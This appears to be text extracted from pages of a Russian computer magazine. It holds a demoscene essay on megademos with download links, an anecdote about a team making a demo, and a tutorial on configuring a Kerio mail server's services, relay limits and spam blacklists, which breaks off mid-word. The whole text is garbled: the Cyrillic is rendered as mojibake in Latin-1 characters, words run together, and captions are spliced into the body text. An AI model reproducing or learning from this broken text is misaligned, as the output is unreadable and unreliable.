Conspiracy (http://www.conspiracy.hu/dl.php3?prod=13);6 Beyond by Conspiracy (http://conspiracy.intro.hu/releases/cns!bydf.zip).Ìåãàäåìî — âåðøèíà àéñáåðãà. Çäåñü ïðîäåìîíñòðèðîâàòüñïîñîáíîñòè ìîãóò è ñòàðîæèëû äåìîñöåíû,è íîâè÷êè. Ýòî î÷åíü óäîáíûé ôîðìàò äëÿíà÷èíàþùèõ äåìîñöåíåðîâ, òàê êàê íå íàäî çàìîðà-÷èâàòüñÿ ñ îïòèìèçàöèåé ïî ðàçìåðó, íåò íåîáõîäèìîñòèìó÷èòü íè êîäåðà, íè ìîäåëëåðà, íè ìóçûêàíòà.Âñå äåëàþò, ÷òî õîòÿò è óìåþò äåëàòü. Ïðåäñòàâüñèòóàöèþ: òû âïåðâûå â æèçíè ðåøèë ñäåëàòü ÄÅ-ÌÓ. Òû óìååøü, äîïóñòèì, êîäèòü. À òâîé äðóã, íàïðèìåð,óìååò ðèñîâàòü ìûøêîé êðàêîçÿáðû â ôîòîøîïå.À íåêèé çíàêîìûé ïèøåò ìóçûêó â òðåêåðàõ èñ ïðåäîñòàâèò âàì ïàðó êîìïîçèöèé íà âûáîð. Ïåðåäêîìàíäîé âñòàåò íåëåãêèé âûáîð:1 ÍÀÏÈÑÀÒÜ ÄÂÈÆÎÊ ÍÀ ×ÈÑÒÎÌÀÑÑÅÌÁËÅÐÅ, ÍÀÏÈÑÀÒÜ ÃÅÍÅÐÀÒÎÐÒÅÊÑÒÓÐ, ÍÀÏÈÑÀÒÜ ÈÍÑÒÐÓÌÅÍÒ ÄËßÌÎÄÅËËÅÐÀ ( ÑÂÎÉ ÌÈÍÈ-3DÌÀÊÑ),ÑÄÅËÀÒÜ ÇÂÓÊÎÂÎÉ ÑÈÍÒÅÇÀÒÎÐ(ÊÈËÎÁÀÉÒ ÍÀ 20 ÌÀÊÑÈÌÓÌ),ÇÀÑÒÀÂÈÒÜ ÌÓÇÛÊÀÍÒÀ ÏÅÐÅÏÈÑÀÒÜÊÎÌÏÎÇÈÖÈÞ ÏÎÄ ÍÀØ ÑÈÍÒÅÇÀÒÎÐ(ÂÑÅ ÏÅÐÅ×ÈÑËÅÍÍÎÅ — ÐÓ×ÊÀÌÈ),ÓÏÐÎÑÈÒÜ ÕÓÄÎÆÍÈÊÀ ÇÀÁÈÒÜÍÀ ÆÅËÀÍÈÅ ÍÀÐÈÑÎÂÀÒÜ ×ÒÎ-ËÈÁÎ,ÈÇÓ×ÈÒÜ ÂÌÅÑÒÎ ÝÒÎÃÎ ÀÁÑÎËÞÒÍÎÍÅÖÅÍÇÓÐÍÛÉ 3D-ÌÎÄÅËÈÐÓÞÙÈÉÑÎÔÒ È ÇÀÄÈÇÀÉÍÈÒÜ ÌÈÍÈ-ÄÅÌΠÆÓÒÊÎ ÎÃÐÀÍÈ×ÅÍÍÛÕ ÓÑËÎÂÈßÕÄËß 64 ÊÁ ÊÎÍÊÓÐÑÀ.2 ÏÐÎÑÒÎ ÄÅËÀÒÜ ÒÎ, ×ÒÎ ÍÐÀÂÈÒÑß,ÍÅ ÎÃÐÀÍÈ×ÈÂÀß ÑÅÁß Â ÐÅÑÓÐÑÀÕ.ÑÎÁÐÀÒÜÑß ÂÑÅÌ ÂÌÅÑÒÅ È ÑØÈÒÜÎÁÙÈÅ ÍÀÐÀÁÎÒÊÈ Â ÎÄÍÓ ÌÅÃÀÄÅÌÓ. ðåçóëüòàòå ïîëó÷àåòñÿ, ÷òî â ýòîì êëàññåïðîåêòû àáñîëþòíî íåïðèãëÿäíûå ñîñåäñòâóþòñ íåâîîáðàçèìûìè øåäåâðàìè! Ïåðå÷èñëÿòü ëó÷øèåìåãàäåìî î÷åíü ñëîæíî, òàê êàê êàæäûé íàéäåòñâîþ èçþìèíêó è íàïðàâëåíèå â îáùåé ìàññå.Ìîãó ëèøü îòìåòèòü èç ðÿäà âîí âûõîäÿùèåìåãàäåìî ãðóïï Kewlers è MFX. Èõ òâîð÷åñòâî íå-FROM DUSK TIL DAWNby FairlightZOOM3by AND CybermagCANDYTRON (FR30)by FarbrauschBINARY FLOWby Conspiracy


92 ÑÏÅÖ-TOPIC ÑÏÅÖ 02-07âîçìîæíî ñïóòàòü íè ñ ÷åì (íåñìîòðÿ íà íàëè÷èåêó÷è ïîäðàæàòåëåé).Ñî÷åòàíèå àáñòðàêöèîíèçìà, ýêñïðåññèîíèçìà,ñþððåàëèçìà è åùå ÷åãî-òî íåóëîâèìîãî äåëàþòèõ ðàáîòû çàïîìèíàþùèìèñÿ è óíèêàëüíûìè.  ÷åìñåêðåò? Íå çíàþ… Íî âûãëÿäèò ïðîñòî ïîòðÿñàþùå.1 Aether by MFX (ftp://ftp.scene.org/pub/parties/2005/breakpoint05/demo/mfx_athr.zip)2 Pornonoise by MFX (http://www.pouet.net/-prod.php?which=9467)3 Deepness in the Sky by MFX (ftp://ftp.scene.org/pub/parties/2002/sota02/demo/mfx_dis.zip)4 Variform by Kewlers (ftp://ftp.scene.org/pub/parties/2002/assembly02/demo/variform_by_kewlers.zip)5 Protozoa by Kewlers (ftp://ftp.scene.org/pub/parties/2003/breakpoint03/demo/kwl_prtz.zip)6 A Significant Deformation Near The Cranium byKewlers (ftp://ftp.scene.org/pub/parties/2003/assembly03/demo/a_significant_deformation_near_the_cranium_by_kewlers.zip)7 X-Mix 2004 by MFX Kewlers (http://www.pouet.net/prod.php?which=12028)Êàê îíè ýòî äåëàþò?! Ìîæåò áûòü, ïðîñòî ñîâìåñòèòü2D è 3D? Áåðåì èäåþ, ðèñóåì ïîä íåå 3Dìîäåëüêèè 2D-ôîíû, êîìáèíèðóåì äâèæêîì â ñòèëüíóþïëàâíî ïåðåëèâàþùóþñÿ ñèìôîíèþ ñâîáîäíîéìûñëè è… Ïîëó÷àåì ÷òî-òî òèïà äåì Houjobb'îâ:1 MicroStrange by Haujobb;2 Elements by Haujobb;3 We are by Haujobb (http://www.pouet.net/prod.php?which=8281);4 Strange Feelings by Haujobb.Ýòî ÿ íàïèñàë íå ê òîìó, ÷òî Õàóäæîááû ëó÷øåâñåõ, à ê òîìó, ÷òî èõ êîìàíäà ñòàáèëüíî ñîçäàâàëàóíèêàëüíûå àòìîñôåðíûå ïðîèçâåäåíèÿ èç ãîäàâ ãîä.  ÷åì èõ ñåêðåò, ÿ òîæå íå çíàþ, íî ôàêòîñòàåòñÿ ôàêòîì — ðåáÿòà ðàáîòàëè íå ùàäÿ ñâîåãîâðåìåíè è ñèë, äîáèâàëèñü èìåííî òîãî ðåçóëüòàòà,êîòîðûé áûë çàäóìàí äèçàéíåðîì. À âñå ïî÷åìó?Ïîòîìó ÷òî òàëàíòëèâûé íàðîä áûë? Äà! Íîâåäü è ñåé÷àñ âñòðå÷àþòñÿ òàëàíòû? Òàê â ÷åì æåäåëî? À äåëî â ïðàâèëüíîì ðàñïðåäåëåíèè çàäà÷ìåæäó ÷ëåíàìè êîìàíäû è â íàëè÷èè ýòèõ ñàìûõ÷ëåíîâ â äîñòàòî÷íîì êîëè÷åñòâå. Ïîñìîòðèì íà êîëè÷åñòâîìåìáåðîâ ó òåõ æå Haujobb (>40), tAAt(>20),ByteRapers(>30), TBL(>30), Razor 1911 (âîîáùå íåìåðåííî).Ïàðà 2D-õóäîæíèêîâ, 2–3 3D-ìîäåëëåðà,êîäåð íà 2D-ýôôåêòû, ïàðà êîäåðîâ íà 3D, ìóçûêàíòûíà âûáîð… Íåò ïðîáëåì! Íå íóæíî ðàçðûâàòüñÿ!Êàæäûé çàíèìàåòñÿ òåì, ÷òî åìó ïî äóøå.Ïîýòîìó è äåìû ïîëó÷àþòñÿ äóøåâíûå.À íà ñîâðåìåííûå êîìàíäû ãëÿíüòå! Àïîãåé— AND. Ñàì ñåáå êîìàíäà :).Âîò è ïîëó÷àþòñÿ ó íèõ ïîäåëêè ëèáî ñ ìîùíûìäâèæêîì è îãðàíè÷åííûì äèçàéíîì, ëèáî ñ èíòåðåñíûìäèçàéíîì/èäåÿìè, íî íåâðàçóìèòåëüíûì èñïîëíåíèåìêîäà. Îòñþäà è âûêðèêè «Scene is dead».


93DEEPNESS IN THE SKYby MFXAETHERby MFXPORNONOISEby MFXELEMENTSby HaujobbXELEMENTSby HaujobbXELEMENTSby HaujobbXÈ âîîáùå, ïîä äåìîé ïîäðàçóìåâàþò êðåàòèâ.Èííîâàöèîííûå ïîäõîäû ê äèçàéíó öâåòà è ôîðìû,íåîáû÷íûå ìåòîäû âèçóàëèçàöèè, øîêèðóùèé âèäåîðÿä,óâëåêàòåëüíûé ñþæåò… ß ïîíèìàþ, ÷òîñëîæíî ïðèäåðæèâàòüñÿ ýòèõ ëèíèé, íî êðàéíå æåëàòåëüíîî íèõ âñïîìèíàòü õîòü èíîãäà.Òàêæå íå ñòîèò çàáûâàòü, ÷òî ÷àùå âñåãîäåìêà ÿâëÿåòñÿ ïðîäóêòîì êîëëåêòèâíîãî òâîð÷åñòâà.À ýòî çíà÷èò, ÷òî ôèíàëüíûé ðåëèç ÷àñòî ïîëó÷àåòñÿíåîæèäàííûì äëÿ áîëüøèíñòâà ÷ëåíîâêîìàíäû. Ïî÷åìó? Äà î÷åíü ïðîñòî! Êîäåð ïèøåòòå ýôôåêòû, êîòîðûå åìó õî÷åòñÿ îïðîáîâàòü, õóäîæíèêðèñóåò òî, ÷òî ó íåãî ëó÷øå âñåãî ïîëó÷àåòñÿ,à ìóçûêàíò âîîáùå íå çàìîðà÷èâàåòñÿ è ïðîñòîâûâàëèâàåò íà ñòîë êó÷ó òðýêîâ èç ïîãðåáà. Ðîëüäèçàéíåðà â òàêîì ñëó÷àå èñïîëíÿåò êîëëåêòèâíûéðàçóì (îí æå — «ãåíåðàòîð áðåäà»).Äåìà äîëæíà áûòü åùå è ôëàãìàíîì IT-ïðîãðåññà…Äåâèç «Âûäàâèòü ìàêñèìóì êðàñîòû èç æåëåçà»ÿâëÿåòñÿ îñíîâîïîëàãàþùèì íà ïðîñòîðàõäåìîñöåíû. Þçåðû-çðèòåëè ïî âñåìó ìèðó ïîëó÷àþòâîçìîæíîñòü óáåäèòüñÿ â ìîùíîì ïîòåíöèàëå èïîëåçíîñòè ñâîèõ êîìïîâ äëÿ ìèðîâîãî èñêóññòâà,ïðîíèêàþòñÿ ÷óâñòâàìè, èäåÿìè, ñòðåìëåíèÿìè…Îáðàòíàÿ ñòîðîíà ìåäàëè ïîãîíè çà «òåõíîëîãè÷íîñòüþ»äåìêè — ñëàáåþùàÿ ñ êàæäûì ãîäîìêðåàòèâíàÿ ñîñòàâëÿþùàÿ. Òåìà, èäåÿ, ñþæåò —êîìó ýòî èíòåðåñíî, åñëè ìîæíî ðåíäèðèòü â ðèàëòàéìåáóáëèêè íà 500 òûñÿ÷ ïîëèãîíîâ êàæäûé, ñáàìïàìè, ïðåëîìëåíèÿìè, ðåàëüíûìè îòðàæåíèÿìè,íàòóðàëüíîé ôèçèêîé ñòîëêíîâåíèé, äà åùå èíà ôîíå òðåõ ìèëëèîíîâ òðàâèíîê ñ áëèêàìè è ôëàðèêàìè?Âñå è òàê áóäóò â âîñòîðãå… Îñîáåííî îáëàäàòåëèâèäþõ çà $600, íà êîòîðûõ âñå ýòî «òâîð-÷åñòâî» áóäåò âûäàâàòü 11fps. Ïðîãðåññ.çàêëþ÷åíèå. ß äóìàþ, ÷òî â ðåçóëüòàòå âñåáóäåò õîðîøî. Âîò íàèãðàþòñÿ êîäåðû íîâûìè GPU,íàïèøóò óäîáíûå è ïîíÿòíûå òóëçû, è ÿâÿòñÿ èç òåíèíà ñâåò ìîëîäûå è òàëàíòëèâûå õóäîæíèêè-äèçàéíåðû.È áóäåò ïðàâèòü íîâûé äåâèç — «Ìàêñèìóìêðåàòèâà, íîâèçíû, ÷óâñòâåííîñòè!». Íó à êîäåðûáóäóò òîëüêî ïîääàêèâàòü, ðàñøèðÿòü âîçìîæíîñòèòóëçîâ è ãîíÿòü çà ïèâîì…ÈÇ ÈÑÒÎÐÈÈÑÎÇÄÀÍÈß ÄÅÌÛUNDERSPACE(CROLYX TEAM)Çâîíèò Xiod (êîäåð, ìóçûêàíò).«Ïðèõîäèòå äåëàòü äåìó… À òî äåäëàéí íà ÌèëëåííèóìÄåìîïàòè ïîñëåçàâòðà — íå óñïååì».Íå õî÷åòñÿ, íî íàäî… Ëàäíî… Ïðèõîäèìñ Cr0ck'Îì (ìîùíûé êîäåð). Íàñòðîåíèå íèêàêîå.Èäåé — íîëü. Êñèîä íà÷èíàåò ïîêàçûâàòü äâèæîê…Êðîêó èíòåðåñíî — îí ïðîãðàììåð. Íà ìîíèòîðå— ñîôòâàðíûé ðåíäåð â 512õ384. Æóòü. È ýòîâ 2001 ãîäó! Óñïîêàèâàåò òî, ÷òî íà ïàòè íàâåðíÿêàáóäåò ïëîõî íàñòðîåííûé ïðîåêòîð íå ëó÷øåãî êà-÷åñòâà, êîòîðûé áóäåò ðàáîòàòü çà õàðäâàðíûé àíòèàëüÿçèíã.Ëàäíî… Ìóçûêà. Õîðîøàÿ, êîíå÷íî,íî íàñòðàèâàåò íà ñóèöèä: ÿ åãî äèñòîðøí íå ïåðåâàðèâàþ.Íà âûáîð ïðåäñòàâëåíî íåñêîëüêî òðýêîâ,íî îò ýòîãî íå ëåã÷å.Ëàäíî… Ñöåíû. Âîò òóò âêëþ÷àåòñÿ «êîëëåêòèâíûéðàçóì»! Êñèîä ïîêàçûâàåò, ÷òî óæå íàêîäèë.Íà ýêðàíå êóáèê, âñå ãðàíè ïðåäñòàâëÿþò ñîáîéâåíòèëÿòîðû (ïî èäåå), è «ýòî» ëåòèò ïî íåáó.{Êñèîä} Âîò!{Ëèíêñ} Áðåä.{Êðîê} Ììì… Ôèãíÿ êàêàÿ-òî… À åñëè ëåòåòü âíóòðèêóáèêà è ñìîòðåòü ÷åðåç âðàùàþùèåñÿ ëîïàñòèâíèç?{Êñèîä} Äà! Áóäåò êëåâî!{Ëèíêñ} Áðåä.{Êñèîä} #%@&**!{Ëèíêñ} Íó è ëàäíî… (ðàññìàòðèâàþ æóðíàë ñ êàðòèíêàìè).{Êñèîä} Ñäåëàé ëó÷øå!{Êðîê} Íó, ìîæíî ñäåëàòü ÂîëóìËàéò ÷åðåç âðàùàþùèåñÿëîïàñòè…{Ëèíêñ} Äóðêà.{Êñèîä} %@#%*!!{Ëèíêñ} (ãëÿäÿ â æóðíàë ñ êàðòèíêàìè): Ñòîóíõýíäæëó÷øå âàøåãî êóáèêà.{Êñèîä} Ñäåëàé, $%@@ %»&#!!{Ëèíêñ} Ëàíà…Ñäåëàë... Ëåòàþùèé îñòðîâ ñî Ñòîóíõýíäæåì.Ê ÷åìó ýòà ñöåíà, íèêòî íå çíàåò, íî îíà ëó÷øå êóáèêà,è ïîýòîìó «êîëëåêòèâíûé ðàçóì» åå îäîáðèë.Èìåííî òàêèì îáðàçîì è ñîçäàåòñÿ ìíîãîçíà-÷èòåëüíîñòü è ïñåâäîôèëîñîôèÿ â äåìå ;).


ÎÔÔÒÎÏÈÊsoftadminingÄÀ ÇÄÐÀÂÑÒÂÓÅÒ ÌÛËÎ ÄÓØÈÑÒÎÅ!ÍÀÑÒÐÎÉÊÀ ÏÎ×ÒÎÂÎÃÎ ÑÅÐÂÅÐÀÀ Ë Å Ê Ñ À Í Ä Ð Ï Ð È Õ Î Ä Ü Ê Î( S A N P R I H @ M A I L . R U ) íàñòîÿùåå âðåìÿ áåç ýëåêòðîííîéïî÷òû íå æèâåò, ïîæàëóé, íè îäíàîðãàíèçàöèÿ. Ìû ñ òîáîé ïîäíÿëèè íàñòðîèëè äîìåí, ïîäêëþ÷èëèïîëüçîâàòåëåé ê Ñåòè, è äëÿ ñ÷àñòüÿíàì íå õâàòàåò òîãî ñàìîãî äóøèñòîãîìûëà. Ïåðåä óñòàíîâêîé è íàñòðîéêîéïî÷òîâîãî ñåðâåðà íàì íåîáõîäèìîîáçàâåñòèñü äâóìÿ âåùàìè:ðåàëüíûì IP-àäðåñîì è äîìåííûìèìåíåì. Ðåàëüíûé àäðåñ ó òåáÿ åñòü,à âîò ñ èìåíåì ìîæíî ïîñòóïèòü äâóìÿñïîñîáàìè: ëèáî êóïèòü ó ïðîâàéäåðà/õîñòåðà,ëèáî áåçâîçìåçäíî, òîåñòü äàðîì, âçÿòü ó áëèæàéøåãî ïðîâàéäåðàäîìåííîå èìÿ òðåòüåãîóðîâíÿ. Ïðåäïîëîæèì, ÷òî ìû çàðåãèñòðèðîâàëèñâîå äîìåííîå èìÿxakdomain.org, àäðåñ ó íàñ åñòü. Ïðîâàéäåðïðîïèøåò ó ñåáÿ â DNS-çîíåçàïèñü MX, ãäå óêàæåò íàøå èìÿ èàäðåñ.  ïðèíöèïå, òû ìîæåøü ïîäíÿòüñâîé DNS-ñåðâåð è íàïîëíèòüåãî íåîáõîäèìûìè çàïèñÿìè, çàòåìíàñòðîèòü òðàíñôåð çîíû íà ïðîâàéäåðàè ñàì îòâå÷àòü çà äîñòóïíîñòüñåðâåðà. Òåïåðü ïîäóìàåì, ãäå,ñîáñòâåííî, ìû ïîìåñòèì íàø ïî÷òîâûéñåðâåð. Ìîæíî âûíåñòè åãî çàïðåäåëû òâîåé ñåòè ïðÿìî â èíòåðíåò,óñòàíîâèòü íà ïî÷òîâèêå ôàéðâîë,àíòèâèðóñ è íàáëþäàòü çà íèìîñîáî òùàòåëüíî. Íî òîãäà âñå òâîèîáðàùåíèÿ ê íåìó — äðàãîöåííûéòðàôèê. Ìîæíî óñòàíîâèòü åãî âîâíóòðåííåé ñåòè: òîãäà ñêîðîñòü ðàáîòûêîðïîðàòèâíîé ïî÷òû áóäåòî÷åíü âûñîêà, è íèêàêîãî ëèøíåãîòðàôèêà! Íà ñåðâåðå ñòàâèøü äâåñåòåâûå êàðòû, îäíà ñìîòðèò â òâîþñåòü, âòîðàÿ — â ìèð. Ñòàâèøüôàéðâîë, è âñå ãîòîâî.Ëèðè÷åñêîå îòñòóïëåíèå çàêîí÷èìâûáîðîì ïðîäóêòà. Íå â öåëÿõðåêëàìû, à ðàäè ïîçíàíèÿ èñòèíûìû ðàññìîòðèì ïî÷òîâûé ñåðâåðôèðìû Kerio. Ïî ñòîèìîñòè ïðîäóêòäîñòóïåí äàæå äëÿ íåáîëüøîé êîíòîðû.Íàïðèìåð, ïî÷òîâèê íà 30ïåðñîí îáîéäåòñÿ ïðèìåðíî â 700óáèòûõ åíîòîâ. Ïîïðîáîâàòü ïî÷òîâèêìîæíî, ñêà÷àâ ñ ñåðâåðà òðèàëüíóþâåðñèþ ïðîãðàììû —www.kerio.com. Íà÷èíàåì óñòàíîâêó.Ðàçðàáîò÷èêè ïîçàáîòèëèñü î íîñèòåëÿõðóññêîãî ÿçûêà, ÷òî íå ìîæåòíå ðàäîâàòü. Æìåì «ÎÊ» è ëþáóåìñÿìàòðîñîì ñ ôëàãîì (÷òî èìåëâ âèäó äèçàéíåð èíñòàëëÿøêè — îñòàåòñÿçàãàäêîé). «Äàëåå». ×èòàåì,êàê ìíîãî óìååò âåðñèÿ 6.3 ïî÷òîâîãîñåðâåðà. «Äàëåå». Ïðèíèìàåì ëèöåíçèîííîåñîãëàøåíèå. «Äàëåå».Ïðèõîäèì ê âèäó óñòàíîâêè.Îòìå÷àåì «Âûáîðî÷íóþ óñòàíîâêó»,âûáèðàåì êàòàëîã äëÿ óñòàíîâêèïðîãðàììû. Íàêîíåö äîáðàëèñüäî ñàìîãî âûáîðà. Îòêëþ÷àåìñïðàâêó íà ÷åøñêîì ÿçûêå. «Äàëåå».È, íàêîíåö, æìåì «Óñòàíîâèòü».Ïîêà ïðîãà óñòàíàâëèâàåòñÿ,íàáðîñàé ñåáå ñïèñîê ïîëüçîâàòåëåéè ïðèäóìàé ïàðîëè äëÿ ïîäêëþ-÷åíèÿ ê ïî÷òîâèêó. Íà îïðåäåëåííîìýòàïå óñòàíîâêè âèçàðä ïðåäëîæèòââåñòè äîìåííîå èìÿ. Îñòàâëÿåìâñå ïî óìîë÷àíèþ è èäåì äàëåå.Çàâîäèì àäìèíñêóþ ó÷åòíóþçàïèñü è ïðèäóìûâàåì äëèííûéïàðîëü.Òåïåðü ñëåäóåò âûáðàòü êàòàëîãè äèñê, êóäà ïî÷òîâèê áóäåòñêëàäûâàòü âñþ ïî÷òó. Ïðèêèíü,íà êàêîé ýëåêòðîííûé äîêóìåíòîîáîðîòñïîñîáíà òâîÿ êîíòîðà. Åñëèðàáîòíèêè ïîñòîÿííî îòñûëàþòè ïðèíèìàþò ôàéëû è êîëè÷åñòâîêëèåíòîâ äîñòàòî÷íî áîëüøîå,òî äëÿ õðàíèëèùà èìååò ñìûñë çàâåñòèîòäåëüíûé äèñê, åñëè îáîðîòïèñåì ìàëåíüêèé — îñòàâëÿåìâñå ïî óìîë÷àíèþ.È, íàêîíåö, íàæèìàåì ïîñëåäíèéðàç êíîïêó «Ãîòîâî». Ïåðåçàãðóæàåìñåðâåð è â òðåå âèäèì êóñî÷åêêðàñíî-áåëîãî ôëàãà, êîòîðûì ðàçìàõèâàëìàòðîñ ïðè óñòàíîâêå, —ýòî è åñòü íàøà ïî÷òà. Çàïóñòèì åå.Òàê êàê ó íàñ ñåðâåð ïðèêðûò ôàéðâîëîìôèðìû Kerio, òî âûñêàêèâàåòïàíåëü àäìèíèñòðèðîâàíèÿ, â íåéâûáèðàåì «ìåéë — ñåðâåð». Ïðèïåðâîì çàïóñêå íàì ïðåäëàãàåòñÿçàðåãèñòðèðîâàòü ïðîäóêò. Çàêðûâàåìîêíî. Âîò îíî — íàøå ìûëî.Òåïåðü íà÷íåì íàñòðàèâàòü íàøåíîâîå õîçÿéñòâî. Çàõîäèì íà çàêëàäêó«Ñëóæáû» è îñòàíàâëèâàåìíåíóæíûå ñëóæáû. Âîïðîñ î íåîáõîäèìîñòèðàáîòû ýòèõ ñëóæá òû, êîí-÷åíî, ðåøàåøü ñàì, íî äëÿ ðàáîòûñòàíäàðòíîãî ïî÷òîâîãî ñåðâåðà èõìîæíî è îñòàíîâèòü. Äëÿ íà÷àëà îòêëþ÷àåìïðîòîêîë IMAP. Âîò òåáå âûäåðæêàèç âèêèïåäèè: «IMAP (InternetMessage Access Protocol) — èíòåðíåò-ïðîòîêîëïðèêëàäíîãî óðîâíÿäëÿ äîñòóïà ê ýëåêòðîííîé ïî÷òå.»«IMAP ïðåäîñòàâëÿåò ïîëüçîâàòåëþáîãàòûå âîçìîæíîñòè äëÿÍàñòðîéêà ðåòðàíñëÿöèèðàáîòû ñ ïî÷òîâûìè ÿùèêàìè, íàõîäÿùèìèñÿíà öåíòðàëüíîì ñåðâåðå.Ïî÷òîâàÿ ïðîãðàììà, èñïîëüçóþùàÿýòîò ïðîòîêîë, ïîëó÷àåò äîñòóïê õðàíèëèùó êîððåñïîíäåíöèè íàñåðâåðå òàê, êàê áóäòî ýòà êîððåñïîíäåíöèÿðàñïîëîæåíà íà êîìïüþòåðåïîëó÷àòåëÿ. Ýëåêòðîííûìèïèñüìàìè ìîæíî ìàíèïóëèðîâàòüñ êîìïüþòåðà ïîëüçîâàòåëÿ (êëèåíòà)áåç íåîáõîäèìîñòè ïîñòîÿííîéïåðåñûëêè ñ ñåðâåðà è îáðàòíî ôàéëîâñ ïîëíûì ñîäåðæàíèåì ïèñåì».Åñòåñòâåííî, çàîäíî ïðèñòðåëèâàåìè «Çàùèùåííûé IMAP». Ïðîäîëæàåìèñïîëüçîâàòü âèêèïåäèþ:«NNTP — îñíîâíîé è åäèíñòâåííûéïðîòîêîë, ïî êîòîðîìóïîëüçîâàòåëè ìîãóò ïîäêëþ÷àòüñÿê news-ñåðâåðàì è ó÷àñòâîâàòüâ äèñêóññèÿõ. Ïî ñòðîåíèþ ýòîò ïðîòîêîëñõîäåí ñ ïðîòîêîëàìè ïðèåìàè ïåðåäà÷è ýëåêòðîííîé ïî÷òû.News-ñåðâåð ïðåäñòàâëÿåò ñîáîéïîñòîÿííî ïîäêëþ÷åííûé ê ñåòèêîìïüþòåð, íà êîòîðîì õðàíÿòñÿ ñî-


îáùåíèÿ äèñêóññèè. Îñíîâíîå îòëè-÷èå òåõíîëîãèè NNTP îò å-mail — îòñûëàåìûåñîîáùåíèÿ îáùåäîñòóïíû.Ñîîáùåíèÿ ñãðóïïèðîâàíûïî òåìàì îáñóæäåíèÿ.Âîçìîæíî îòîçâàòü ïîñëàííîåñîîáùåíèå. Ôàêòè÷åñêè, ðåøåíèÿòåõíîëîãèè NNTP î÷åíü ïîõîæèíà âåá-ôîðóìû çà èñêëþ÷åíèåì òîãî,÷òî êîïèÿ áàçû äàííûõ ñîîáùåíèéõðàíèòñÿ íà êîìïüþòåðå ïîëüçîâàòåëÿ(èëè õîòÿ áû ñïèñîê òåì ñîîáùåíèé).Çà NNTP çàêðåïëåí TCPïîðò119. Ïðè ïîäêëþ÷åíèè ê NNTPñåðâåðóïî SSL (ò.í. NNTPS) èñïîëüçóåòñÿïîðò 563».Íàì äëÿ ïîëó÷åíèÿ èíôîðìàöèèõâàòàåò è îáû÷íîãî èíòåðíåòà.Îòêëþ÷àåì NNTP è «ÇàùèùåííûéNNTP». Ðàçáèðàåìñÿ åùå ñ îäíèìïðîòîêîëîì. Ýòî LDAP. Åñëè òûíå ñîáèðàåøüñÿ èìïîðòèðîâàòüïîëüçîâàòåëåé èç Active Directory,òî ïðîòîêîë ìîæíî îòêëþ÷èòü.Âîò ÷òî ó íàñ îñòàëîñü:Äëÿ íàñòðîéêè íåêîòîðûõ ïàðàìåòðîâíàì íåîáõîäèìî ñîçäàòüãðóïïó IP-àäðåñîâ íàøåé ñåòè. Çàõîäèìíà çàêëàäêó «Îïðåäåëåíèÿ»!«Ãðóïïû IP-àäðåñîâ»! «Äîáàâèòü»,äàäèì èìÿ íàøåé ãðóïïå «Lan»,«Òèï» — âûáèðàåì çíà÷åíèå «Äèàïàçîíàäðåñîâ», è â ïîëÿ «Îò»è «Äî» ââîäèì íà÷àëüíîå è êîíå÷íîåçíà÷åíèÿ àäðåñîâ íàøåé ñåòè.Çàïîìíè ïðîöåññ ñîçäàíèÿãðóïï IP-àäðåñîâ, — îí íàì åùå ïðèãîäèòñÿ.Òåïåðü íàñòðîèì ïàðàìåòðûíàøåãî «Ñåðâåðà SMTP». Çàõîäèìâ çàêëàäêó «Êîíôèãóðàöèÿ»! «ÑåðâåðSMTP». Íà ïåðâîé æå çàêëàäêå«Óïðàâëåíèå ðåòðàíñëÿöèåé» îòìå-÷àåì ãàëî÷êîé «Ïîëüçîâàòåëèèç ãðóïïû IP-àäðåñîâ» è âûáèðàåìñîçäàííóþ íàìè ãðóïïó IP-àäðåñîâ«LAN». Òàêèì îáðàçîì, ìû ðàçðåøàåìñâîèì ïîëüçîâàòåëÿì ïåðåñûëàòü÷óæèå ïèñüìà, íî íå ïîçâîëÿåì èñïîëüçîâàòüíàø ïî÷òîâûé ñåðâåðäëÿ ðàññûëêè ñïàìà.Ïåðåõîäèì â çàêëàäêó «Ïàðàìåòðûáåçîïàñíîñòè». Îòìå÷àåì ãàëî÷êîé«Ìàêñ. ÷èñëî íåèçâåñòíûõ ïîëó÷àòåëåé…»,«Íå ïðèìåíÿòü ýòè îãðàíè÷åíèÿäëÿ ãðóïïû IP-àäðåñîâ» —âûáèðàåì «LAN». Íå çàáûâàåì ïîñëåêàæäîãî èçìåíåíèÿ íàæèìàòüêíîïêó «Ïðèìåíèòü». Íó è îãðàíè÷èìðàçìåð èñõîäÿùèõ ñîîáùåíèé, íàïðèìåð,ïÿòüþ ìåãàáàéòàìè. çàêëàäêå «Äîñòàâêà SMTP»íè÷åãî íå ìåíÿåì è ïåðåõîäèìâ çàêëàäêó «Ïàðàìåòðû î÷åðåäè».Çäåñü âñå òîæå îñòàâëÿåì ïî óìîë-÷àíèþ, ðàçâå ÷òî ìîæíî ñìåíèòüÿçûê îò÷åòîâ íà «Ðóññêèé». Ïåðåõîäèìê ôèëüòðó ñîäåðæèìîãî. Çàêëàäêà«Ôèëüòð ñîäåðæèìîãî»!«Ôèëüòð ñïàìà».  ïåðâîé çàêëàäêå«Îöåíêà ïðèíàäëåæíîñòè ñîîáùåíèéê ñïàìó» íå òðîãàåì íè÷åãî. Ïåðåõîäèìâ çàêëàäêó «×åðíûå ñïèñêè».Âîò òåïåðü íàì íåîáõîäèìîâåðíóòüñÿ â çàêëàäêó «Îïðåäåëåíèÿ»!«Ãðóïïû IP-àäðåñîâ»! «Äîáàâèòü»è âêëþ÷èòü ñþäà åùå îäíóãðóïïó, êîòîðóþ íàçîâåì«Spam&Virus». ýòó ãðóïïó òû ñìîæåøü çàíîñèòüîñîáî íàäîåäëèâûå àäðåñàïî ðàññûëêå ñïàìà è âèðåé.  ñâîéñòâàõâûáèðàåøü «Òèï»! «Õîñò»,çàïèñûâàåøü àäðåñ ïåðâîãî ïîïàâøåãîñÿñïàìåðà (íàïðèìåð 61.216.-119.248), â îïèñàíèè ïèøåøü«SPAM». Âîçâðàùàåìñÿ â çàêëàäêó«Ôèëüòð ñîäåðæèìîãî»! «×åðíûåñïèñêè». Îòìå÷àåøü ãàëî÷êîé ïåðå-÷èñëåííûå â òàáëèöå «×åðíûå ñïèñêèñåòè Èíòåðíåò» ðåñóðñûè â «Ïîëüçîâàòåëüñêîì ÷åðíîìñïèñêå IP-àäðåñîâ ðàñïðîñòðàíèòåëåéñïàìà» â «Ãðóïïå IP-àäðåñîâ»âûáèðàåøü ñîçäàííóþ òîáîé ãðóïïóIP-àäðåñîâ «Spam&Virus». Íå çàáûâàéäàâèòü «Ïðèìåíèòü».Òåïåðü òû ãîòîâ âîåâàòüñî ñïàìåðàìè ñàìîñòîÿòåëüíî.Èç 